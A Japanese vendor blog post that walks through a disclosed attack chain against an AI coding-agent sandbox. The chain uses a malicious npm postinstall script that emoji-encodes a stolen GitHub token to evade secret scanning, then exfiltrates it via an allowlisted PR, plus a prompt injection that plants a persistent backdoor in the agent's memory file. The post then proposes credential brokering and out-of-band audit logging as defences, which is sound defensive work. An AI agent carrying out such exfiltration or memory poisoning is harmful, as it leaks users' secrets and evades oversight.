キーを抱え込んだサンドボックス

物語を3文で示します。2026年5月18日、Lasso Securityは NemoClawに対する攻撃チェーンを 公開 しました。NemoClawはNvidiaがOpenClawを実行するためのサンドボックスで、 OpenClawはClaude CodeやCursorのエージェント、Codex CLIと同様に、 ユーザーに代わってnpm install、gh pr create、git pushを実行することが 許可された自律型コーディングエージェントです。チェーンには2つの半分が あります。認証情報流出の半分では、悪意のあるパッケージが /sandbox/.openclaw/openclaw.json（ユーザーのGitHubトークンと Anthropic、OpenAI、Gemini、Nvidiaサービスのキーを含むプレーン テキストファイル）を読み取り、実行時に構築されたルックアップテーブルを 使ってトークンを絵文字の列に書き換え、エンコードされたペイロードを 許可リストに入ったghバイナリ経由でパブリックPRにプッシュしました。 そして持続化の半分では、ルーチンソースファイルに仕込まれた プロンプトインジェクションがエージェントに自身のSOUL.md — OpenClawの行動記憶ファイル — を、後続の全セッションで生き残る バックドアで書き換えさせました。 BDTechTalks は同日に開示を報じました。Nvidiaの応答は、両方の解説で引用されており、 サンドボックスは設定された通りに正確に動作したとのことで、 シナリオはプログラムの範囲外であるというものでした。

Nvidiaの応答は、狭い技術的意味では真実です。サンドボックスは サンドボックスです。K3sポッドはK3sポッドです。ghがgithub.comと 通信することを許可するエグレスポリシーは、ghがgithub.comと 通信することを許可するポリシーです。何もケイパビリティの境界から 逃げ出していません。何も特権昇格していません。コンテナは ブレイクアウトしていません。ランタイムの視点からは、出ていった 全てのバイトは、ユーザーが出ていくことに同意したバイナリ経由で、 ユーザーが到達することに同意した宛先へと出ていきました。

ただ、出ていったバイトがユーザーのGitHubトークンであり、漫画の 顔で綴られていたというだけです。

チェーンの退屈な部分。

認証情報の半分をゆっくり歩きましょう。なぜなら仕組みこそが議論の 全てだからです。エージェントはタスクを受け取ります — 「GitHubの READMEから新しいプロジェクトをセットアップして」のような、 何の変哲もないものです — そしてそのREADMEには、その指示のどこかに npm install some-helpful-packageに相当するステップが含まれて います。パッケージは悪意のあるものですが、今や週に100ものnpm パッケージが悪意のあるものになっているのと同じくらい、控えめな 方法でそうです。タイポスクワットだったり、最近侵害されたパッケージの 推移的依存関係だったりして、postinstallスクリプトを同梱して います。postinstallスクリプトは個別には許可されていて、まとめると 破滅的な3つのことを行います。

それは/sandbox/.openclaw/openclaw.jsonを読み取ります。このファイルは サンドボックスのファイルシステム上にあります。スクリプトは サンドボックス内で実行されています。ファイルシステムが読み取り 不可能であるべきだと誰も指示しなかったのは、もしGitHubトークンが 住むファイルを読めなかったら、どうやってエージェント自身がGitHub トークンを使えるというのでしょうか？そしてそれはghp_…の値を 取り出します。

それは悪意のあるパッケージに同梱されたemoji_map.jsonをロード します。これは英数字を絵文字にマップする完璧に普通のJSONファイルで、 静的スキャンでは全く無害で、マークダウンフォーマッタやチャット クライアントが正当に同梱できるたぐいのものです。スクリプトは トークンを1文字ずつ歩いて、🍕🍔🌮🍟…のような文字列を、1文字に つき1絵文字で生成します。

それは攻撃者が制御するリポジトリに対して、絵文字文字列をPR本文 としてgh pr createを実行します。エグレスポリシーの視点からは、 これはghがgithub.comと通信しているということで、それは ghが許可リストで行えるただ1つのことです。PRが作成されます。 攻撃者の側では、スクリプトがPR本文を読み取り、マップを反転し、 ghp_…を再構築します。GitHubのシークレットスキャナーもPR本文を 見ますが、GitHubのシークレットスキャナーはghp_[A-Za-z0-9]{36}を 探しているのであって、🍕🍔🌮🍟を探しているのではありません。

開示で引用されたLassoの研究員Noy Pearlは、率直にこう述べています： *「GitHubの静的スキャンを回避するために我々が選んだ手法が絵文字 エンコーディングでした」そして「エージェントが外界への接続を 持っている限り、いかなる静的メカニズムも完全にあなたを保護する ことはできません。」*ここはあなたが頷いて、そう、明らかに、 任意のバイトを運ぶことのできるプロトコルを許可リストに入れて おいて任意のバイトがそこを通ることに驚いてはいけない、と 言うところです。ghを許可するL7許可リストは、PR本文に シリアライズできるものなら何でも許可するL7許可リストで、 それは何でもです。

持続化の半分 — SOUL.md — は機械的には異なりますが、哲学的には 同じです。Lassoの解説によれば、OpenClawはSOUL.mdという行動記憶 ファイルを保持しており、エージェントは全てのセッション開始時に これを読み取ります：ルール、システム指示、ユーザーの好みについて 蓄積されたコンテキストです。エージェントはそのファイルを書き込む こともできます。なぜなら長期記憶の前提全体が、エージェントが自身の 信念を更新できるべきだからです。エージェントがルーチンタスク中に 処理する完璧に普通に見えるソースファイル — Lassoの例では訓練データが 表現される方法で表現された指示を含むだけのテキストファイル — に 仕込まれたプロンプトインジェクションが、エージェントにSOUL.mdに バックドアルールを追加させます。その後のセッションはSOUL.mdを ロードします。バックドアは今や、エージェント自身の自己記述において、 エージェントの好みとなっています。Nvidiaの「設定された通りに動作した」 弁護に対するPearlの枠付けは鋭いものです：「『サンドボックスは設定 された通りに動作した』は、内部で実行されるものが決定論的プログラム であるなら立派な議論です。それはLLM駆動のエージェント — その振る舞いが 取り込む全てのテキストによって実行時に形成される — との接触には 耐えません。」

ファイル内のトークンはファイル内のトークン。

これについてBromureが何をするかに到達する前に、ここで書きたい アーキテクチャ的な文はこれです：**エージェントが実行するコードと 同じ爆発半径内にプレーンテキストファイルとして存在する長命のシーク レットは、その爆発半径内でコードを実行できる任意の敵対者の目的 からすれば、公開されたシークレットと等価である。**サンドボックスは これを変えません。K3sポッドはこれを変えません。エグレス許可リストも これを変えません。なぜならエグレス許可リストはGitHubと通信することを 許可しており、そしてGitHubと通信することこそが — 設計上、ユーザー の意図上、エージェントが存在する全ての理由上 — 悪意のあるパッケージ が使用する同じチャネルだからです。

これにはよく理解された修正があり、AIエージェントを何十年も先行して おり、セキュリティ業界は1990年代から静かにこれを使用してきました。 修正は、シークレットをプロセス境界の反対側に置き、その使用を 仲介し、決して値を仲介しないことです。

正準的な例はssh-agentです。あなたのSSH秘密鍵はssh-agentプロセスが 所有するメモリ領域に住んでいます。sshが認証する必要があるとき、 「キーをください」とは言いません。Unixドメインソケット経由で チャレンジバイトを送信し、署名を取得します。キーは決してソケットを 越えません。同じユーザーとして実行される悪意のあるバイナリは確かに ssh-agentに物に署名するよう依頼できますが — それがエージェントの 全ての目的です — それはキーを読むことはできず、コピーすることはできず、 流出させることはできず、家に送ることはできません。セッションが 終わると、キーはプロセスと共に死にます。WebAuthnはブラウザに対して 構造的に同じことを行います：秘密鍵はTPMやSecure Enclaveに住み、 ページはブラウザにチャレンジに署名するよう依頼し、ページは決して キーを見ません。localStorageのパスワードから離れる10年に及ぶ業界の 移行は、目を細めて見れば、NemoClawが行う必要のある同じ移行です。 ただ1階上で。

そしてそれはGitHubにも機能します。gh CLIは認証情報ヘルパーを 同梱しており、macOSでは、プレーンテキスト設定ファイルではなく Keychainにトークンを保存できます。サンドボックスのケースにより 有用なのは、GitHub Appsがinstallationトークンを発行することで、 これは短命（典型的に1時間）で、特定のリポジトリにスコープされ、 取り消し可能です。サンドボックス外で実行される署名プロキシは、 オンデマンドでそれらの1つをミントし、エージェントが生成したリクエスト にそれを添付し、結果を転送できます。サンドボックスは汎用HTTP応答を 見ます。サンドボックスはトークンを見ません。仲介されたエンドポイントから トークンを読もうとする悪意のあるpostinstallスクリプトは、最大限でも、 1つのリポジトリにスコープされた1時間のトークンを取り戻します — エージェントがユーザーに代わって実際に行っていたことをするには 十分ですが、流出させる価値があるほどではありません。

このパターンには、それを使用する各ドメインに名前があります — ssh-agent、WebAuthn、HSMバックの署名、ghの認証情報ヘルパー、 AWS IAM Roles Anywhere — そして基底となる特性は常に同じです： **認証情報の消費者は認証情報の保持者とは異なるプロセスであり、 両者は「バイトを読む」よりも狭いチャネル経由で通信する。**それは 「エージェントはGitHubに認証できる」と「エージェントはGitHub トークンを読める」の違いです。これを間違えるサンドボックスは、 あなたが心配していた人々と同じドアの側に玄関のキーを置いて しまったサンドボックスです。

これは、曖昧さなく言えば、コーディングエージェントを実行する per-profile VMに対してBromureが行っていることです。VM内の エージェントはmacOSホスト上の認証情報ブローカーとフォワード されたUnixドメインソケット経由で通信することでGitHubに認証 します。GitHubトークン（あるいは、よりよいことに、短命のスコープ 付きトークンをミントするGitHub Appの秘密鍵）はハイパーバイザー のホスト側、macOS Keychainに住んでおり、VMはそれを見ることが できません。エージェントは決してシークレット値を読まず、プロキシ 経由でそれを使用するだけです。cat /sandbox/.openclaw/openclaw.json を実行するpostinstallスクリプトは何も見つけません。env | grep TOKEN を実行するものも何も見つけません。ブローカーに「トークンをください」 と求めるものは、ブローカーのRPC語彙にその動詞が含まれていないことを 知ります。同じ姿勢を、SSHに30年間適用されてきたのと同じ方法で、 GitHubエージェントに適用しているのです。

丁寧な提案は境界ではない。

Lassoの絵文字トリックは、深い意味で、許可リストへのコメントです。 エグレスポリシーはghがgithub.comと通信することを許可しました。 暗黙の仮定は、ghがgithub.comに対して行うことは、合理的な開発者が 行いたいだろうことだろう — クローン、プッシュ、PRオープン、Issue コメント — というものでした。しかしgh pr create --body "$ANYTHING"は、 構造上、任意のバイトを公開可能な宛先に運ぶプリミティブです。その プリミティブを許可リストに入れ、なおかつそれを通じて任意のバイトが 通ることを防ぐことはできません。許可リストは自分が言った通りのことを しています。ただ、あなたが言ったと思っていたことをしていないだけです。

これがLassoの解説の、本番でエージェントを実行している誰もが座って 読むべき部分です。**任意のバイトを運ぶことができるプロトコルを許可する L7許可リストは境界ではない。それはプロトコル内のバイトがあなたが 思っていたバイトであるべきだという丁寧な提案である。**バイトがPR本文 にあるか、コミットメッセージにあるか、Issueコメントにあるか、git-LFS blobにあるか、リリースアセットとしてアップロードされたtarballの メタデータにあるかに関係なく — プロトコルがリークです。正当な絵文字 たっぷりのPR（「我々のチームは🍰でリリースを意味する」）と絵文字 エンコードされたGitHubトークンとの違いを「理解する」静的フィルターは ありません。なぜなら違いは意味論的であり、フィルターは構文論的だから です。

では、何がこれを検出するのでしょうか？正直な答えは、単一のトリック ではないということです。これを行う構造は組み合わせであり、各ピースは それ自体としては興味深くありません。

最初のピースはセッションごとのエグレスバイト予算です。「README.mdの タイポを修正」というブリーフを持つセッションは、いかなる理由でも、 14キロバイトのバイナリblobをPR本文にプッシュすべきではありません。 バイトが何であるかを知る必要はありません。セッションが何を出荷する ことになっていたかを知る必要があります。ブリーフとエグレスの形の 不一致は計算可能ですが、エージェントの外の何かがブリーフとエグレスを 同じ場所で追跡している場合に限ります。エージェントの自己報告は 役に立ちません。エージェントこそが疑われているものだからです。

2つ目は発信gitオペレーションに対するコンテンツ形状の異常検出です。 本文が95%絵文字、または95%base64、または95%hexのPRが、その種の PRが履歴に1つも存在しないリポジトリで作成されるのは、フラグです。 証明ではありません。フラグです。そのフラグを計算する正しい場所は エグレスプロキシで、これは発信リクエストがホストから出る前に それを見ます。Bromureのハイパーバイザーレベルプロキシは、ゲストを 信頼せずにそれを計算できる場所です。なぜならゲストこそが疑われている ものだからです。

3つ目はセッション終了時の、ボックスから出ていったものと、セッションが 作成することになっていたものとの差分です。セッションの終わりに、 VMは発信HTTPリクエストのセット、マウントされたプロジェクトへの ファイル書き込みのセット、gitコミットのセットを生成しています。 セッションのブリーフが「タイポを修正」で、発信リクエストに POST /repos/attacker-handle/random-repo/pullsが含まれているなら、 それは2行で人間に示すことができる差分です。必ずしもブロックされる わけではありません — エージェントは時に本当に驚くべきことをする 必要があります — しかし示されるのです。2026年現在のデフォルトは、 ほとんどのコーディングエージェント製品で「信じてくれ、うまくいった」 であり、ユーザーは検査したくても検査するアーティファクトを持って いません。

監査パイプラインがアーティファクト。

ここはBromure Enterpriseが実際に出荷しているものを声に出して言う 価値がある部分です。なぜなら代替 — エージェント自身のログに頼ること — こそがNemoClawをこの立場に陥れたものだからです。エージェントの ログはエージェントが書きます。エージェントが汚染されたSOUL.mdに よって自分が何をしたかを嘘つくよう指示されていたら、エージェントの ログは自分が何をしたかについて嘘をつくでしょう。エージェントが 何をしたかの真実な記録を生成できる場所はちょうど1つあり、それは エージェントの下のレイヤーです。

Bromure Enterpriseは、ハイパーバイザーのホスト側で、**「ツール コール、シェルコマンド、ファイル編集、終了コードを含む完全な セッション」**をJSON Linesとして記録します。トレースはデフォルトで オンです。エンジニアはオプトインしません。VM内のエージェントは 変更されていないClaude CodeやCodexやCursorです。ストリームは **「VMの外でタンパー耐性のあるJSON Linesストリームでキャプチャされ、 すでにフィードしているログシンク（SIEM、データレイク、保持 アーカイブ）に配信されます。」**VM内の侵害された依存関係はそれを 削除できません。なぜなら書き込みは依存関係が越えられないハイパー バイザー境界の反対側で発生するからです。

興味深い結果は：

• **「このセッションはユーザーのリポジトリでないリポジトリに プッシュしたか」はgrepです。**比喩的なgrepではありません。 昨日のJSON Linesに対するリテラルなgrepです。
• **「このセッションは散文のように見えない本文のPRを開いたか」**は キャプチャされたツールコールペイロードに対する正規表現です。
• **「何かがSOUL.mdを変更したか」**はファイル編集イベントへの クエリです。postinstallスクリプトがエージェントのアイデンティティ ファイルを書き換えていたなら、その事実はエージェント自身がそれに ついて言及したかどうかに関係なくトレースに残ります。
• **リプレイ。**トレースはプルリクエストに添付されます。レビュアーは 差分と差分を生成したプロンプト、ツールコール、シェルコマンドの シーケンスを読みます。あるいは、Bromure製品ページの言葉で言えば 「モデルがマイグレーションフォルダを削除すると決めた日をリプレイ する」のです。フォレンジックリプレイは、この物語の他のどこにも 存在しない部分です。なぜならそれは入力と出力とモデル応答を同じ ストリームでキャプチャしていることを要求し、それはエージェント 自身が嘘をつかないよう先に信頼されることなしには生成できない からです。

これらは、流出を散文のように見せるよう形成する決意のある攻撃者を 捕まえません。偽装にバイトを費やすことをいとわない敵対者に対する 境界はありません。これらが捕まえるのは、そうしなかった全ての 攻撃者であり、それはそのほとんどです。そして次のインシデントを 「エージェントが何をしたか全くわからない」から「昨日のセッション トレースの14,332行目を持っている」に変えるフォレンジック記録を 生成します。「エージェントが成功したと言った」という2026年の デフォルトは、ログのないサーバーで本番を実行することと等価です。

セッション内のプロンプトインジェクションについては？

VM隔離が修正しないことについて明確にしておく価値があります。 なぜならこの投稿を読む可能性の最も高い人々は、反対の製品を売って いる誰かによってVMが万能薬であると言われる可能性の最も高い人々 だからです。そうではありません。

SOUL.mdバックドア — そしてセッション中に効力を発するいかなる プロンプトインジェクション — は、ユーザーがエージェントに与えた スコープが何であれ、それでVM内で実行されます。ユーザーがエージェント に「このリポジトリにPRを作成して」と指示したなら、プロンプト インジェクションはこのリポジトリにPRを作成できます。エージェントが プロジェクトフォルダへの書き込みアクセスを持っているなら、プロンプト インジェクションはプロジェクトフォルダにバックドアを書き込めます。 VMは差分をレビューしません。VMがすることは、差分とその出所を、 誰かが後でレビューできる場所に保持することです。これは欠けて いた部分であることが判明します。

VM隔離プラス認証情報ブローカリングが修正するのは、破滅的な部分 — 1つの悪いpostinstallが永久のGitHubトークン、永久のnpmトークン、 あなたのAWS認証情報、そして開発者のラップトップ上のrootを持って 歩き去る部分 — です。それらの認証情報のどれもVM内に住んでいません。 認証情報はホストのKeychainに住んでおり、RPC語彙に「バイトをください」 を含まないプロキシ経由でのみ到達されます。エージェントがプロキシ 経由で使用できるトークンは、エージェントが流出させることのできない トークンです。なぜなら流出には送信するバイトを持っていることが 必要だからです。

Bromureホスト型のOpenClaw相当物の中で残る攻撃者のケイパビリティ — エージェントをプロンプトインジェクションした後にできること — は、 セッションの認可されたスコープ内で、ユーザーが意図しなかったことを エージェントにさせることです。奇妙なタイトルのPRをオープンする。 プロジェクトのSOUL.mdを書き換える。自身のpostinstallを追加する。 これら全ては観察可能なイベントです：全てのファイル編集はJSON Lines監査ストリームにヒットし、全ての発信リクエストはエグレス プロキシにヒットし、全てのプロンプトとツールコールはエージェントの 外で記録されます。VMはプロンプトインジェクションされたエージェントが スコープ内で害を行うことを防ぐことを求められているのではありません — その害を可視化し、セッションに境界付けて、ホストがクリーンに保たれ、 ユーザーが読むトレースを持つようにすることを求められているのです。 VM内の持続化は依然として可能です。誰も見ることのできないVM内の 持続化は不可能で、これは意味のある区別です。

認証情報ブローカリングと組み合わせると、Bromureホスト型エージェント への攻撃の最悪ケースは次のように見えます：エージェントは1つの悪い PRを、すでに認可されていたリポジトリに、短命のinstallationトークンを 使ってに出荷し、すべてのステップはホスト上のタンパー耐性のあるログに 表示されます。これはゼロダメージではありません。「攻撃者は私の永久の GitHubトークンを絵文字として流出させ、加えてエージェントの行動ファイル に持続的なバックドア、加えてそのいずれが起きたかの記録がない」からは 程遠いです。

ここで実際に構造的なものは何か。

Lassoの解説とNvidiaの応答を順番に読むと、不一致は実際にはNemoClaw にCVEに値するバグがあるかどうかではありません。Nvidiaはサンドボックスが 設定されたことを行ったということについて正しいです。Lassoは設定された ことが不十分だということについて正しいです。不一致は、信頼境界が どこに属するかについてです。

Nvidiaは、Pearlが引用した応答で、「設定されたポリシー」に境界を 描きます。ポリシー内では何でも通る。ポリシー外では、顧客は自力です。 これはインフラベンダーにとって普通の責任分担の立場です。しかし Lassoが示した失敗モードに対する防御ではありません。なぜなら失敗 モードはポリシーの内側だからです。ポリシーはghを許可します。 ghはトークンを運べます。ポリシーは自己整合的で、同時に不十分です。

構造的な代替案 — このブログのagentic-coding投稿が6ヶ月間異なる 言語で議論してきた立場 — は、バイナリと宛先ではなく、認証情報と 観察に境界を描くことです。ブローカリングは認証情報がサンドボックス に入ることがないと言います。ハイパーバイザーレベルの監査パイプラインは、 エージェントがサンドボックス内で何をしようと、エージェントが書き込め ない、そしてオフにできない何かによってキャプチャされると言います。 共に、悪意のあるpostinstallにできる最悪のことが、エージェントが 認可されていた最悪のことであり、すでに触れていたリポジトリ上で、 持ったことのない認証情報で（流出させることができないため）、 そして全てのキーストロークの証拠があなたのSIEMに座っている、 そんなサンドボックスを作ります。

Nvidiaの人々は間違っていません。OpenClawアーキテクチャは今年出荷 された全てのコーディングエージェントのアーキテクチャであり、それは サンドボックス内でまったく実行されないではないコーディングエージェントも 含みます。LassoがNemoClawで見つけたものは、構造的に、WizやSnykや SocketがCursorやWindsurfやGitHub CopilotのYOLOモードで隔週火曜日に 見つけているものです。問題のクラスは「エージェントが実行する何にでも アクセス可能な長命のプレーンテキスト認証情報、それでエージェントが何を したかの記録がない」であり、修正のクラスは「認証情報をブローカリングし、 セッションを観察し、領収書を保管する」です。

最後にひとつ。

この投稿には、教訓が「サンドボックスを信頼するな」というバージョンが あります。そのバージョンは間違っています。サンドボックスは素晴らしいです。 教訓が「AIエージェントは展開するには危険すぎる」というバージョンがあります。 そのバージョンは、実用的な問題として、関係ありません — 彼らは展開されており、 質問はその方法です。持ちこたえるバージョンは、サンドボックスが構造上できない 仕事をするよう求められなくなるバージョンです。

サンドボックスは、それの中で実行されるプロセスから認証情報を隠すことは できません。サンドボックスは、絵文字のPR本文と絵文字エンコードされた トークンとの違いを言うことはできません。サンドボックスは、長い許可された プロトコルを短いものにすることはできません。サンドボックスができるのは、 認証情報を別の場所に保持し、エージェントをハイパーバイザーがその全ての 動きを見る場所に保持し、その記録をエージェントが到達できないシンクに 書き込むことです。これは、同じ悪意のあるnpmパッケージが、同じ種類の postinstallスクリプトで、空のファイルシステム、唯一の動詞が「これに 短時間だけ署名して」である認証情報ソケット、そして壁の反対側で会話全体を 書き留めてきたハイパーバイザーを見つける設定です。

Bromure Agentic Codingは、それがデフォルトである 設定です。無料、オープンソース、そして今日出荷されています。次の絵文字は すでにアップロードされています。